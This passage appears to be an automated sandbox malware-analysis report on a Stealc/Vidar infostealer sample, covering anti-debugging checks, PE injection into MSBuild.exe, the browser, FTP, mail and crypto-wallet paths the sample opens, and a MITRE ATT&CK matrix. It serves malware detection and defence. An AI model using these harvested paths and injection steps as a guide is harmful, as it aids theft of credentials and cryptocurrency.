Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC2003 mov edi, dword ptr fs:[00000030h]	0_2_00DC2003
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DDA64C mov eax, dword ptr fs:[00000030h]	0_2_00DDA64C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E06628 mov eax, dword ptr fs:[00000030h]	0_2_00E06628
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD0F2E mov ecx, dword ptr fs:[00000030h]	0_2_00DD0F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00419750 mov eax, dword ptr fs:[00000030h]	2_2_00419750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DDCC4B GetProcessHeap,

0_2_00DDCC4B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DC7610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DC7922
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC7AAF SetUnhandledExceptionFilter,	0_2_00DC7AAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DCDA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041CEEA SetUnhandledExceptionFilter,	2_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCDB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6BCDB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCDB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6BCDB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE8AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6BE8AC62

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 1476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1732, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: EE6008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userEGDGCGCFHI.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_6BCDB341 cpuid

2_2_6BCDB341

Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00DDC085
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00DD622B
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00DDC372
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00DDC327
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00DDC498
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00DDC40D
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00DDC6EB
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00DDC814
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00DDC9E9
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00DDC91A
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00DD5D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	2_2_00417B90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DC7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00DC7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_00417A30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_6BDD8390 NSS_GetVersion,

2_2_6BDD8390

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.dedad8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.dedad8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1732, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 1732, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: passphrase.json
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: \Ethereum\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: Ethereum
Source: MSBuild.exe	String found in binary or memory: file__0.localstorage
Source: MSBuild.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: MSBuild.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: MSBuild.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe, 00000002.00000002.2473207536.00000000014C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 1732, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.dedad8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.dedad8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1732, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 1732, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE90B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	2_2_6BE90B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDB8EA0 sqlite3_clear_bindings,	2_2_6BDB8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE90D60 sqlite3_bind_parameter_name,	2_2_6BE90D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE90C40 sqlite3_bind_zeroblob,	2_2_6BE90C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDB63C0 PR_Bind,	2_2_6BDB63C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD422D0 sqlite3_bind_blob,	2_2_6BD422D0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	145 System Information Discovery	Distributed Component Object Model	1 Email Collection	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
